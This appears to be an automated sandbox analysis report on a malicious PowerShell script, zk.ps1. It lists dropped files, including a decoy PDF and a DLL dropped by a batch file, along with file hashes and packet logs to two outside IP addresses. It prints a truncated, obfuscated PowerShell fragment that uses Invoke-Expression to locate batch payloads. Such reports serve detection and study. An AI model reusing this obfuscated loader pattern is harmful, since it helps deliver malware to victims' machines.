SHA-512:	4DFF4EA340F0A823F15D3F4F01AB62EAE0E5DA579CCB851F8DB9DFE84C58B2B37B89903A740E1EE172DA793A6E79D560E5F7F9BD058A12A280433ED6FA46510A
Malicious:	false
Preview:	1

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_ohunyas2.sup.ps1

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	very short file (no magic)
Category:	dropped
Size (bytes):	1
Entropy (8bit):	0.0
Encrypted:	false
SSDEEP:	3:U:U
MD5:	C4CA4238A0B923820DCC509A6F75849B
SHA1:	356A192B7913B04C54574D18C28D46E6395428AB
SHA-256:	6B86B273FF34FCE19D6B804EFF5A3F5747ADA4EAA22F1D49C01E52DDB7875B4B
SHA-512:	4DFF4EA340F0A823F15D3F4F01AB62EAE0E5DA579CCB851F8DB9DFE84C58B2B37B89903A740E1EE172DA793A6E79D560E5F7F9BD058A12A280433ED6FA46510A
Malicious:	false
Preview:	1

C:\Users\user\AppData\Local\Temp\nsr743A.tmp\System.dll

Process:	C:\Users\Public\wusb.bat
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	11776
Entropy (8bit):	5.659384359264642
Encrypted:	false
SSDEEP:	192:ex24sihno00Wfl97nH6BenXwWobpWBTtvShJ5omi7dJWjOlESlS:h8QIl972eXqlWBFSt273YOlEz
MD5:	8B3830B9DBF87F84DDD3B26645FED3A0
SHA1:	223BEF1F19E644A610A0877D01EADC9E28299509
SHA-256:	F004C568D305CD95EDBD704166FCD2849D395B595DFF814BCC2012693527AC37
SHA-512:	D13CFD98DB5CA8DC9C15723EEE0E7454975078A776BCE26247228BE4603A0217E166058EBADC68090AFE988862B7514CB8CB84DE13B3DE35737412A6F0A8AC03
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......1...u.u.u...s.u.a....r.!..q....t....t.Richu.........................PE..L.....uY...........!..... ...........'.......0...............................`.......................................2.......0..P............................P.......................................................0..X............................text............ .................. ..`.rdata..S....0.......$..............@..@.data...x....@.......(..............@....reloc..`....P.......*..............@..B................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\0ENGBPCVN84BCWHMGRSY.temp

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	data
Category:	dropped
Size (bytes):	6206
Entropy (8bit):	3.7592396421429313
Encrypted:	false
SSDEEP:	48:94+FRWRAleRs9kWRH3R/sCERmUHIJ8DgxgukvhkvklCywdY26poJ18keSogZoF45:9hTP9kMNsCSfskvhkvCCt2OxHlOxH4
MD5:	422FCA58B3BE6234E09EB8C12520A7AB
SHA1:	801DE73F2A6C83BC75639D418366B89F9D160251
SHA-256:	D0D848BE38B41B4AF9DD9A81FDC8F13A89A5D3B81EB72B9F42198B42CA45140E
SHA-512:	5091240AD28614CB655D1DBD80C7546C26DBB99AC4E1DC70ACE54A48830371C938F9DCEB230959CD8C972B40DA7E2101BA6E7F1801E5C6A22FF17BD9560B668E
Malicious:	false
Preview:	...................................FL..................F.".. .......-..7.4..a..\.................................:..DG..Yr?.D..U..k0.&...&...........-..Q.3......C........t...CFSF..1......NM...AppData...t.Y^...H.g.3..(.....gVA.G..k...@.......NM..V......Y.....................R..A.p.p.D.a.t.a...B.V.1......NN...Roaming.@.......NM..V......Y....................f...R.o.a.m.i.n.g.....\.1......U...MICROS~1..D.......NM..V......Y.....................f0.M.i.c.r.o.s.o.f.t.....V.1......U....Windows.@.......NM..V......Y.....................s..W.i.n.d.o.w.s.......1......NN...STARTM~1..n.......NM..V......Y..............D.........S.t.a.r.t. .M.e.n.u...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.8.6.......1......P.t..Programs..j.......NM..V......Y..............@......3..P.r.o.g.r.a.m.s...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.8.2.....n.1......L...WINDOW~1..V.......NM..U......Y....................T_..W.i.n.d.o.w.s. .P.o.w.e.r.S.h.e.l.l.....z.2......L.. .WINDOW~1.LNK..^.......NM..P......Y..........

C:\Users\user\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\590aee7bdd69b59b.customDestinations-ms (copy)

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	data
Category:	dropped
Size (bytes):	6206
Entropy (8bit):	3.7592396421429313
Encrypted:	false
SSDEEP:	48:94+FRWRAleRs9kWRH3R/sCERmUHIJ8DgxgukvhkvklCywdY26poJ18keSogZoF45:9hTP9kMNsCSfskvhkvCCt2OxHlOxH4
MD5:	422FCA58B3BE6234E09EB8C12520A7AB
SHA1:	801DE73F2A6C83BC75639D418366B89F9D160251
SHA-256:	D0D848BE38B41B4AF9DD9A81FDC8F13A89A5D3B81EB72B9F42198B42CA45140E
SHA-512:	5091240AD28614CB655D1DBD80C7546C26DBB99AC4E1DC70ACE54A48830371C938F9DCEB230959CD8C972B40DA7E2101BA6E7F1801E5C6A22FF17BD9560B668E
Malicious:	false
Preview:	...................................FL..................F.".. .......-..7.4..a..\.................................:..DG..Yr?.D..U..k0.&...&...........-..Q.3......C........t...CFSF..1......NM...AppData...t.Y^...H.g.3..(.....gVA.G..k...@.......NM..V......Y.....................R..A.p.p.D.a.t.a...B.V.1......NN...Roaming.@.......NM..V......Y....................f...R.o.a.m.i.n.g.....\.1......U...MICROS~1..D.......NM..V......Y.....................f0.M.i.c.r.o.s.o.f.t.....V.1......U....Windows.@.......NM..V......Y.....................s..W.i.n.d.o.w.s.......1......NN...STARTM~1..n.......NM..V......Y..............D.........S.t.a.r.t. .M.e.n.u...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.8.6.......1......P.t..Programs..j.......NM..V......Y..............@......3..P.r.o.g.r.a.m.s...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.8.2.....n.1......L...WINDOW~1..V.......NM..U......Y....................T_..W.i.n.d.o.w.s. .P.o.w.e.r.S.h.e.l.l.....z.2......L.. .WINDOW~1.LNK..^.......NM..P......Y..........

C:\Users\user\Desktop\List of required items and services.pdf

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	PDF document, version 1.7 (zip deflate encoded)
Category:	dropped
Size (bytes):	653248
Entropy (8bit):	7.983402816932296
Encrypted:	false
SSDEEP:	12288:Z5j8QLfikr2uyiCDVvzDFgONPYpKE7nmP4II3xHjK4HTbuSGxEw6:H8QbZ2upCDtuOQKE7nmA3xWYT6LT6
MD5:	9B05142184F080AE36983D0A25597143
SHA1:	6421CD63995163132E89709FF70D695825A3CBDC
SHA-256:	F16B7347BCAADA09E4A85E92A704CCC67F413DDBA62BBDF4BBE14A7B687AC455
SHA-512:	EBDB6D9682A0DAC526214D9E5173E0CF627D1E538F2A728768E913FD2CE94B926DA6A248DFB5AE6D1DFAF0CE33807D3007D05785BE200687C55B926DCE6908DC
Malicious:	false
Preview:	%PDF-1.7.%......129 0 obj.<</Linearized 1/L 653248/O 131/E 86423/N 5/T 652770/H [ 497 273]>>.endobj. ..143 0 obj.<</DecodeParms<</Columns 5/Predictor 12>>/Filter/FlateDecode/ID[<E39576C475ABEC43A187B9D780C4757D><641CA28703C4B144886F342023B34532>]/Index[129 38]/Info 128 0 R/Length 89/Prev 652771/Root 130 0 R/Size 167/Type/XRef/W[1 3 1]>>stream..h.bbd`.``b``..".:@$S.X..D....'..n..l..d.....IFwf.x-...$..4f`..,.V..8.....7@.??.@....:.M..endstream.endobj.startxref..0..%%EOF.. ..165 0 obj.<</C 180/E 164/Filter/FlateDecode/I 202/Length 167/O 126/S 74/V 142>>stream..h.b```a``.d`e`H.g.b@.!.f.........uv..g..u..(;.p0..2.h..@....b..H..1/.X..FI.....,]..5.....1*...d....f.i......H.0p.Z..3..E..../.(C!..2p....L...pUF.._.CU...0..."...endstream.endobj.130 0 obj.<</AcroForm 144 0 R/Metadata 48 0 R/Names 145 0 R/Outlines 103 0 R/Pages 127 0 R/StructTreeRoot 117 0 R/Type/Catalog>>.endobj.131 0 obj.<</Contents 132 0 R/CropBox[0 0 595.44 841.68]/Group<</CS/DeviceRGB/S/Transparency/T

Static File Info

General

File type:	ASCII text, with very long lines (824), with no line terminators
Entropy (8bit):	5.376856703442185
TrID:
File name:	zk.ps1
File size:	824
MD5:	e6bf6857327f35fa2de93d4a51f97a94
SHA1:	cf9e0527dd421c74f841d57b73611e0b2cd1d147
SHA256:	5921fbf975020277efb4018858252ba81765a3bbeedf1b67061691faf6f4f6da
SHA512:	c35c9dcb2e3a12777d88135b133ed222c33973187d214bf3fb78217fff7f8cdd63bc053b235888100798d35f25e93c6a2430207f98b5327dc0ba1d3eb0085cea
SSDEEP:	24:ZZ64ZYWIXluH2GVKNuLyZQffvoPWAa6W9zm52I+O3+:ZY4zIwWGVKNuvodqzecOO
TLSH:	290146CD179657E34540B68130D0873F2331C11C74E648E1E6A18307207C5BC1EC697E
File Content Preview:	$flol3=iex($('[Environment]::GetEvjrt'''.Replace('vjr','nvironmentVariable(''public'') + ''\\bi1xb0.ba')));$flol=iex($('[Environment]::GetEvjrt'''.Replace('vjr','nvironmentVariable(''public'') + ''\\wusb.ba')));function getit([string]$fz, [string]$oulv){$

File Icon


Icon Hash:	3270d6baae77db44

Network Behavior

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Jun 1, 2023 12:14:23.520071983 CEST	49717	443	192.168.2.5	84.16.234.51
Jun 1, 2023 12:14:23.520148993 CEST	443	49717	84.16.234.51	192.168.2.5
Jun 1, 2023 12:14:23.520257950 CEST	49717	443	192.168.2.5	84.16.234.51
Jun 1, 2023 12:14:23.556720972 CEST	49717	443	192.168.2.5	84.16.234.51
Jun 1, 2023 12:14:23.556759119 CEST	443	49717	84.16.234.51	192.168.2.5
Jun 1, 2023 12:14:23.641750097 CEST	443	49717	84.16.234.51	192.168.2.5
Jun 1, 2023 12:14:23.641855955 CEST	49717	443	192.168.2.5	84.16.234.51
Jun 1, 2023 12:14:23.646668911 CEST	49717	443	192.168.2.5	84.16.234.51
Jun 1, 2023 12:14:23.646703959 CEST	443	49717	84.16.234.51	192.168.2.5
Jun 1, 2023 12:14:23.647347927 CEST	443	49717	84.16.234.51	192.168.2.5
Jun 1, 2023 12:14:23.687690973 CEST	49717	443	192.168.2.5	84.16.234.51
Jun 1, 2023 12:14:23.725327969 CEST	443	49717	84.16.234.51	192.168.2.5
Jun 1, 2023 12:14:23.725408077 CEST	443	49717	84.16.234.51	192.168.2.5
Jun 1, 2023 12:14:23.725423098 CEST	443	49717	84.16.234.51	192.168.2.5
Jun 1, 2023 12:14:23.725505114 CEST	49717	443	192.168.2.5	84.16.234.51
Jun 1, 2023 12:14:23.725531101 CEST	443	49717	84.16.234.51	192.168.2.5
Jun 1, 2023 12:14:23.756984949 CEST	443	49717	84.16.234.51	192.168.2.5
Jun 1, 2023 12:14:23.757076979 CEST	443	49717	84.16.234.51	192.168.2.5
Jun 1, 2023 12:14:23.757129908 CEST	49717	443	192.168.2.5	84.16.234.51
Jun 1, 2023 12:14:23.757152081 CEST	443	49717	84.16.234.51	192.168.2.5
Jun 1, 2023 12:14:23.757170916 CEST	443	49717	84.16.234.51	192.168.2.5
Jun 1, 2023 12:14:23.757180929 CEST	49717	443	192.168.2.5	84.16.234.51
Jun 1, 2023 12:14:23.757244110 CEST	49717	443	192.168.2.5	84.16.234.51
Jun 1, 2023 12:14:23.757251978 CEST	443	49717	84.16.234.51	192.168.2.5
Jun 1, 2023 12:14:23.788733959 CEST	443	49717	84.16.234.51	192.168.2.5
Jun 1, 2023 12:14:23.788873911 CEST	49717	443	192.168.2.5	84.16.234.51
Jun 1, 2023 12:14:23.788896084 CEST	443	49717	84.16.234.51	192.168.2.5
Jun 1, 2023 12:14:23.788924932 CEST	443	49717	84.16.234.51	192.168.2.5
Jun 1, 2023 12:14:23.789042950 CEST	49717	443	192.168.2.5	84.16.234.51
Jun 1, 2023 12:14:23.789052963 CEST	443	49717	84.16.234.51	192.168.2.5
Jun 1, 2023 12:14:23.789119959 CEST	443	49717	84.16.234.51	192.168.2.5
Jun 1, 2023 12:14:23.789202929 CEST	49717	443	192.168.2.5	84.16.234.51
Jun 1, 2023 12:14:23.789217949 CEST	443	49717	84.16.234.51	192.168.2.5
Jun 1, 2023 12:14:23.789287090 CEST	443	49717	84.16.234.51	192.168.2.5
Jun 1, 2023 12:14:23.789374113 CEST	49717	443	192.168.2.5	84.16.234.51
Jun 1, 2023 12:14:23.789383888 CEST	443	49717	84.16.234.51	192.168.2.5
Jun 1, 2023 12:14:23.789455891 CEST	443	49717	84.16.234.51	192.168.2.5
Jun 1, 2023 12:14:23.789535999 CEST	49717	443	192.168.2.5	84.16.234.51
Jun 1, 2023 12:14:23.789551973 CEST	443	49717	84.16.234.51	192.168.2.5
Jun 1, 2023 12:14:23.789582014 CEST	443	49717	84.16.234.51	192.168.2.5
Jun 1, 2023 12:14:23.789648056 CEST	49717	443	192.168.2.5	84.16.234.51
Jun 1, 2023 12:14:23.789658070 CEST	443	49717	84.16.234.51	192.168.2.5
Jun 1, 2023 12:14:23.820754051 CEST	443	49717	84.16.234.51	192.168.2.5
Jun 1, 2023 12:14:23.820893049 CEST	49717	443	192.168.2.5	84.16.234.51
Jun 1, 2023 12:14:23.820914030 CEST	443	49717	84.16.234.51	192.168.2.5
Jun 1, 2023 12:14:23.820941925 CEST	443	49717	84.16.234.51	192.168.2.5
Jun 1, 2023 12:14:23.821007013 CEST	49717	443	192.168.2.5	84.16.234.51
Jun 1, 2023 12:14:23.821016073 CEST	443	49717	84.16.234.51	192.168.2.5
Jun 1, 2023 12:14:23.821098089 CEST	443	49717	84.16.234.51	192.168.2.5
Jun 1, 2023 12:14:23.821171045 CEST	49717	443	192.168.2.5	84.16.234.51
Jun 1, 2023 12:14:23.821182013 CEST	443	49717	84.16.234.51	192.168.2.5
Jun 1, 2023 12:14:23.821257114 CEST	443	49717	84.16.234.51	192.168.2.5
Jun 1, 2023 12:14:23.821377993 CEST	49717	443	192.168.2.5	84.16.234.51
Jun 1, 2023 12:14:23.821387053 CEST	443	49717	84.16.234.51	192.168.2.5
Jun 1, 2023 12:14:23.821405888 CEST	443	49717	84.16.234.51	192.168.2.5
Jun 1, 2023 12:14:23.821479082 CEST	49717	443	192.168.2.5	84.16.234.51
Jun 1, 2023 12:14:23.821486950 CEST	443	49717	84.16.234.51	192.168.2.5
Jun 1, 2023 12:14:23.821552038 CEST	443	49717	84.16.234.51	192.168.2.5
Jun 1, 2023 12:14:23.821618080 CEST	49717	443	192.168.2.5	84.16.234.51
Jun 1, 2023 12:14:23.821625948 CEST	443	49717	84.16.234.51	192.168.2.5
Jun 1, 2023 12:14:23.821662903 CEST	443	49717	84.16.234.51	192.168.2.5
Jun 1, 2023 12:14:23.821747065 CEST	49717	443	192.168.2.5	84.16.234.51
Jun 1, 2023 12:14:23.821757078 CEST	443	49717	84.16.234.51	192.168.2.5
Jun 1, 2023 12:14:23.821774006 CEST	443	49717	84.16.234.51	192.168.2.5
Jun 1, 2023 12:14:23.821871996 CEST	49717	443	192.168.2.5	84.16.234.51
Jun 1, 2023 12:14:23.821882010 CEST	443	49717	84.16.234.51	192.168.2.5
Jun 1, 2023 12:14:23.821902037 CEST	443	49717	84.16.234.51	192.168.2.5
Jun 1, 2023 12:14:23.821981907 CEST	49717	443	192.168.2.5	84.16.234.51
Jun 1, 2023 12:14:23.821996927 CEST	443	49717	84.16.234.51	192.168.2.5
Jun 1, 2023 12:14:23.822069883 CEST	49717	443	192.168.2.5	84.16.234.51
Jun 1, 2023 12:14:23.822077990 CEST	443	49717	84.16.234.51	192.168.2.5
Jun 1, 2023 12:14:23.822102070 CEST	443	49717	84.16.234.51	192.168.2.5
Jun 1, 2023 12:14:23.822180033 CEST	49717	443	192.168.2.5	84.16.234.51
Jun 1, 2023 12:14:23.822191000 CEST	443	49717	84.16.234.51	192.168.2.5
Jun 1, 2023 12:14:23.822284937 CEST	49717	443	192.168.2.5	84.16.234.51
Jun 1, 2023 12:14:23.853235006 CEST	443	49717	84.16.234.51	192.168.2.5
Jun 1, 2023 12:14:23.853328943 CEST	443	49717	84.16.234.51	192.168.2.5
Jun 1, 2023 12:14:23.853374004 CEST	49717	443	192.168.2.5	84.16.234.51
Jun 1, 2023 12:14:23.853395939 CEST	443	49717	84.16.234.51	192.168.2.5
Jun 1, 2023 12:14:23.853416920 CEST	443	49717	84.16.234.51	192.168.2.5
Jun 1, 2023 12:14:23.853431940 CEST	49717	443	192.168.2.5	84.16.234.51
Jun 1, 2023 12:14:23.853478909 CEST	49717	443	192.168.2.5	84.16.234.51
Jun 1, 2023 12:14:23.853488922 CEST	443	49717	84.16.234.51	192.168.2.5
Jun 1, 2023 12:14:23.853503942 CEST	443	49717	84.16.234.51	192.168.2.5
Jun 1, 2023 12:14:23.853580952 CEST	49717	443	192.168.2.5	84.16.234.51
Jun 1, 2023 12:14:23.853590012 CEST	443	49717	84.16.234.51	192.168.2.5
Jun 1, 2023 12:14:23.853676081 CEST	49717	443	192.168.2.5	84.16.234.51
Jun 1, 2023 12:14:23.853676081 CEST	443	49717	84.16.234.51	192.168.2.5
Jun 1, 2023 12:14:23.853696108 CEST	443	49717	84.16.234.51	192.168.2.5
Jun 1, 2023 12:14:23.853753090 CEST	49717	443	192.168.2.5	84.16.234.51
Jun 1, 2023 12:14:23.853794098 CEST	443	49717	84.16.234.51	192.168.2.5
Jun 1, 2023 12:14:23.853864908 CEST	49717	443	192.168.2.5	84.16.234.51
Jun 1, 2023 12:14:23.853873968 CEST	443	49717	84.16.234.51	192.168.2.5
Jun 1, 2023 12:14:23.853938103 CEST	443	49717	84.16.234.51	192.168.2.5
Jun 1, 2023 12:14:23.854000092 CEST	49717	443	192.168.2.5	84.16.234.51
Jun 1, 2023 12:14:23.854007959 CEST	443	49717	84.16.234.51	192.168.2.5
Jun 1, 2023 12:14:23.854052067 CEST	443	49717	84.16.234.51	192.168.2.5
Jun 1, 2023 12:14:23.854108095 CEST	49717	443	192.168.2.5	84.16.234.51
Jun 1, 2023 12:14:23.854118109 CEST	443	49717	84.16.234.51	192.168.2.5
Jun 1, 2023 12:14:23.854178905 CEST	443	49717	84.16.234.51	192.168.2.5
Jun 1, 2023 12:14:23.854240894 CEST	49717	443	192.168.2.5	84.16.234.51
Jun 1, 2023 12:14:23.854249001 CEST	443	49717	84.16.234.51	192.168.2.5
Jun 1, 2023 12:14:23.854360104 CEST	443	49717	84.16.234.51	192.168.2.5
Jun 1, 2023 12:14:23.854419947 CEST	49717	443	192.168.2.5	84.16.234.51
Jun 1, 2023 12:14:23.854430914 CEST	443	49717	84.16.234.51	192.168.2.5
Jun 1, 2023 12:14:23.854448080 CEST	443	49717	84.16.234.51	192.168.2.5
Jun 1, 2023 12:14:23.854506016 CEST	49717	443	192.168.2.5	84.16.234.51
Jun 1, 2023 12:14:23.854515076 CEST	443	49717	84.16.234.51	192.168.2.5
Jun 1, 2023 12:14:23.854650021 CEST	443	49717	84.16.234.51	192.168.2.5
Jun 1, 2023 12:14:23.854727983 CEST	49717	443	192.168.2.5	84.16.234.51
Jun 1, 2023 12:14:23.854734898 CEST	443	49717	84.16.234.51	192.168.2.5
Jun 1, 2023 12:14:23.854751110 CEST	443	49717	84.16.234.51	192.168.2.5
Jun 1, 2023 12:14:23.854804993 CEST	49717	443	192.168.2.5	84.16.234.51
Jun 1, 2023 12:14:23.854921103 CEST	443	49717	84.16.234.51	192.168.2.5
Jun 1, 2023 12:14:23.854976892 CEST	49717	443	192.168.2.5	84.16.234.51
Jun 1, 2023 12:14:23.854985952 CEST	443	49717	84.16.234.51	192.168.2.5
Jun 1, 2023 12:14:23.855009079 CEST	443	49717	84.16.234.51	192.168.2.5
Jun 1, 2023 12:14:23.855062008 CEST	49717	443	192.168.2.5	84.16.234.51
Jun 1, 2023 12:14:23.855072975 CEST	443	49717	84.16.234.51	192.168.2.5
Jun 1, 2023 12:14:23.855190039 CEST	443	49717	84.16.234.51	192.168.2.5
Jun 1, 2023 12:14:23.855257988 CEST	49717	443	192.168.2.5	84.16.234.51
Jun 1, 2023 12:14:23.855272055 CEST	443	49717	84.16.234.51	192.168.2.5
Jun 1, 2023 12:14:23.855309010 CEST	443	49717	84.16.234.51	192.168.2.5
Jun 1, 2023 12:14:23.855359077 CEST	49717	443	192.168.2.5	84.16.234.51
Jun 1, 2023 12:14:23.855367899 CEST	443	49717	84.16.234.51	192.168.2.5
Jun 1, 2023 12:14:23.855523109 CEST	443	49717	84.16.234.51	192.168.2.5
Jun 1, 2023 12:14:23.855582952 CEST	49717	443	192.168.2.5	84.16.234.51
Jun 1, 2023 12:14:23.855592012 CEST	443	49717	84.16.234.51	192.168.2.5
Jun 1, 2023 12:14:23.855618000 CEST	443	49717	84.16.234.51	192.168.2.5
Jun 1, 2023 12:14:23.855695009 CEST	49717	443	192.168.2.5	84.16.234.51
Jun 1, 2023 12:14:23.855707884 CEST	443	49717	84.16.234.51	192.168.2.5
Jun 1, 2023 12:14:23.855735064 CEST	443	49717	84.16.234.51	192.168.2.5
Jun 1, 2023 12:14:23.855791092 CEST	443	49717	84.16.234.51	192.168.2.5
Jun 1, 2023 12:14:23.855791092 CEST	49717	443	192.168.2.5	84.16.234.51
Jun 1, 2023 12:14:23.855806112 CEST	443	49717	84.16.234.51	192.168.2.5
Jun 1, 2023 12:14:23.855899096 CEST	49717	443	192.168.2.5	84.16.234.51
Jun 1, 2023 12:14:23.855901957 CEST	443	49717	84.16.234.51	192.168.2.5
Jun 1, 2023 12:14:23.855942011 CEST	49717	443	192.168.2.5	84.16.234.51
Jun 1, 2023 12:14:23.857563972 CEST	49717	443	192.168.2.5	84.16.234.51
Jun 1, 2023 12:14:26.619009972 CEST	49718	80	192.168.2.5	203.175.174.69
Jun 1, 2023 12:14:26.786989927 CEST	80	49718	203.175.174.69	192.168.2.5
Jun 1, 2023 12:14:26.788461924 CEST	49718	80	192.168.2.5	203.175.174.69
Jun 1, 2023 12:14:26.791034937 CEST	49718	80	192.168.2.5	203.175.174.69
Jun 1, 2023 12:14:26.958801031 CEST	80	49718	203.175.174.69	192.168.2.5
Jun 1, 2023 12:14:26.959544897 CEST	80	49718	203.175.174.69	192.168.2.5
Jun 1, 2023 12:14:26.959605932 CEST	80	49718	203.175.174.69	192.168.2.5
Jun 1, 2023 12:14:26.959634066 CEST	80	49718	203.175.174.69	192.168.2.5
Jun 1, 2023 12:14:26.959661961 CEST	80	49718	203.175.174.69	192.168.2.5
Jun 1, 2023 12:14:26.959675074 CEST	49718	80	192.168.2.5	203.175.174.69
Jun 1, 2023 12:14:26.959693909 CEST	80	49718	203.175.174.69	192.168.2.5
Jun 1, 2023 12:14:26.959722996 CEST	80	49718	203.175.174.69	192.168.2.5
Jun 1, 2023 12:14:26.959750891 CEST	49718	80	192.168.2.5	203.175.174.69
Jun 1, 2023 12:14:26.959752083 CEST	80	49718	203.175.174.69	192.168.2.5
Jun 1, 2023 12:14:26.959781885 CEST	80	49718	203.175.174.69	192.168.2.5
Jun 1, 2023 12:14:26.959784031 CEST	49718	80	192.168.2.5	203.175.174.69
Jun 1, 2023 12:14:26.959813118 CEST	80	49718	203.175.174.69	192.168.2.5
Jun 1, 2023 12:14:26.959841013 CEST	80	49718	203.175.174.69	192.168.2.5
Jun 1, 2023 12:14:26.959851027 CEST	49718	80	192.168.2.5	203.175.174.69
Jun 1, 2023 12:14:26.959883928 CEST	49718	80	192.168.2.5	203.175.174.69
Jun 1, 2023 12:14:27.127692938 CEST	80	49718	203.175.174.69	192.168.2.5
Jun 1, 2023 12:14:27.127742052 CEST	80	49718	203.175.174.69	192.168.2.5
Jun 1, 2023 12:14:27.127798080 CEST	80	49718	203.175.174.69	192.168.2.5
Jun 1, 2023 12:14:27.127825975 CEST	80	49718	203.175.174.69	192.168.2.5
Jun 1, 2023 12:14:27.127851963 CEST	80	49718	203.175.174.69	192.168.2.5
Jun 1, 2023 12:14:27.127863884 CEST	49718	80	192.168.2.5	203.175.174.69
Jun 1, 2023 12:14:27.127878904 CEST	80	49718	203.175.174.69	192.168.2.5
Jun 1, 2023 12:14:27.127906084 CEST	80	49718	203.175.174.69	192.168.2.5
Jun 1, 2023 12:14:27.127907038 CEST	49718	80	192.168.2.5	203.175.174.69
Jun 1, 2023 12:14:27.127923965 CEST	49718	80	192.168.2.5	203.175.174.69
Jun 1, 2023 12:14:27.127934933 CEST	80	49718	203.175.174.69	192.168.2.5
Jun 1, 2023 12:14:27.127964020 CEST	80	49718	203.175.174.69	192.168.2.5
Jun 1, 2023 12:14:27.127973080 CEST	49718	80	192.168.2.5	203.175.174.69
Jun 1, 2023 12:14:27.127990007 CEST	80	49718	203.175.174.69	192.168.2.5
Jun 1, 2023 12:14:27.128016949 CEST	80	49718	203.175.174.69	192.168.2.5
Jun 1, 2023 12:14:27.128027916 CEST	49718	80	192.168.2.5	203.175.174.69
Jun 1, 2023 12:14:27.128042936 CEST	80	49718	203.175.174.69	192.168.2.5
Jun 1, 2023 12:14:27.128065109 CEST	80	49718	203.175.174.69	192.168.2.5
Jun 1, 2023 12:14:27.128078938 CEST	49718	80	192.168.2.5	203.175.174.69
Jun 1, 2023 12:14:27.128087044 CEST	80	49718	203.175.174.69	192.168.2.5
Jun 1, 2023 12:14:27.128109932 CEST	80	49718	203.175.174.69	192.168.2.5
Jun 1, 2023 12:14:27.128123045 CEST	49718	80	192.168.2.5	203.175.174.69
Jun 1, 2023 12:14:27.128137112 CEST	80	49718	203.175.174.69	192.168.2.5
Jun 1, 2023 12:14:27.128165960 CEST	80	49718	203.175.174.69	192.168.2.5
Jun 1, 2023 12:14:27.128182888 CEST	49718	80	192.168.2.5	203.175.174.69
Jun 1, 2023 12:14:27.128194094 CEST	80	49718	203.175.174.69	192.168.2.5
Jun 1, 2023 12:14:27.128221989 CEST	80	49718	203.175.174.69	192.168.2.5
Jun 1, 2023 12:14:27.128241062 CEST	49718	80	192.168.2.5	203.175.174.69
Jun 1, 2023 12:14:27.128278971 CEST	80	49718	203.175.174.69	192.168.2.5
Jun 1, 2023 12:14:27.128338099 CEST	49718	80	192.168.2.5	203.175.174.69
Jun 1, 2023 12:14:27.296056032 CEST	80	49718	203.175.174.69	192.168.2.5
Jun 1, 2023 12:14:27.296098948 CEST	80	49718	203.175.174.69	192.168.2.5
Jun 1, 2023 12:14:27.296119928 CEST	80	49718	203.175.174.69	192.168.2.5
Jun 1, 2023 12:14:27.296133041 CEST	80	49718	203.175.174.69	192.168.2.5
Jun 1, 2023 12:14:27.296154022 CEST	80	49718	203.175.174.69	192.168.2.5
Jun 1, 2023 12:14:27.296195030 CEST	80	49718	203.175.174.69	192.168.2.5
Jun 1, 2023 12:14:27.296216965 CEST	80	49718	203.175.174.69	192.168.2.5
Jun 1, 2023 12:14:27.296236992 CEST	80	49718	203.175.174.69	192.168.2.5
Jun 1, 2023 12:14:27.296258926 CEST	80	49718	203.175.174.69	192.168.2.5
Jun 1, 2023 12:14:27.296257973 CEST	49718	80	192.168.2.5	203.175.174.69
Jun 1, 2023 12:14:27.296297073 CEST	80	49718	203.175.174.69	192.168.2.5
Jun 1, 2023 12:14:27.296324968 CEST	80	49718	203.175.174.69	192.168.2.5
Jun 1, 2023 12:14:27.296349049 CEST	80	49718	203.175.174.69	192.168.2.5
Jun 1, 2023 12:14:27.296375036 CEST	80	49718	203.175.174.69	192.168.2.5
Jun 1, 2023 12:14:27.296380043 CEST	49718	80	192.168.2.5	203.175.174.69
Jun 1, 2023 12:14:27.296400070 CEST	80	49718	203.175.174.69	192.168.2.5
Jun 1, 2023 12:14:27.296423912 CEST	80	49718	203.175.174.69	192.168.2.5
Jun 1, 2023 12:14:27.296437025 CEST	49718	80	192.168.2.5	203.175.174.69
Jun 1, 2023 12:14:27.296447992 CEST	80	49718	203.175.174.69	192.168.2.5
Jun 1, 2023 12:14:27.296471119 CEST	80	49718	203.175.174.69	192.168.2.5
Jun 1, 2023 12:14:27.296489954 CEST	49718	80	192.168.2.5	203.175.174.69
Jun 1, 2023 12:14:27.296492100 CEST	80	49718	203.175.174.69	192.168.2.5
Jun 1, 2023 12:14:27.296513081 CEST	80	49718	203.175.174.69	192.168.2.5
Jun 1, 2023 12:14:27.296530962 CEST	49718	80	192.168.2.5	203.175.174.69
Jun 1, 2023 12:14:27.296535015 CEST	80	49718	203.175.174.69	192.168.2.5
Jun 1, 2023 12:14:27.296557903 CEST	80	49718	203.175.174.69	192.168.2.5
Jun 1, 2023 12:14:27.296572924 CEST	49718	80	192.168.2.5	203.175.174.69
Jun 1, 2023 12:14:27.296580076 CEST	80	49718	203.175.174.69	192.168.2.5
Jun 1, 2023 12:14:27.296602964 CEST	80	49718	203.175.174.69	192.168.2.5
Jun 1, 2023 12:14:27.296618938 CEST	49718	80	192.168.2.5	203.175.174.69
Jun 1, 2023 12:14:27.296627045 CEST	80	49718	203.175.174.69	192.168.2.5
Jun 1, 2023 12:14:27.296643972 CEST	49718	80	192.168.2.5	203.175.174.69
Jun 1, 2023 12:14:27.296650887 CEST	80	49718	203.175.174.69	192.168.2.5
Jun 1, 2023 12:14:27.296674967 CEST	80	49718	203.175.174.69	192.168.2.5
Jun 1, 2023 12:14:27.296679974 CEST	49718	80	192.168.2.5	203.175.174.69
Jun 1, 2023 12:14:27.296705961 CEST	80	49718	203.175.174.69	192.168.2.5
Jun 1, 2023 12:14:27.296727896 CEST	80	49718	203.175.174.69	192.168.2.5
Jun 1, 2023 12:14:27.296731949 CEST	49718	80	192.168.2.5	203.175.174.69
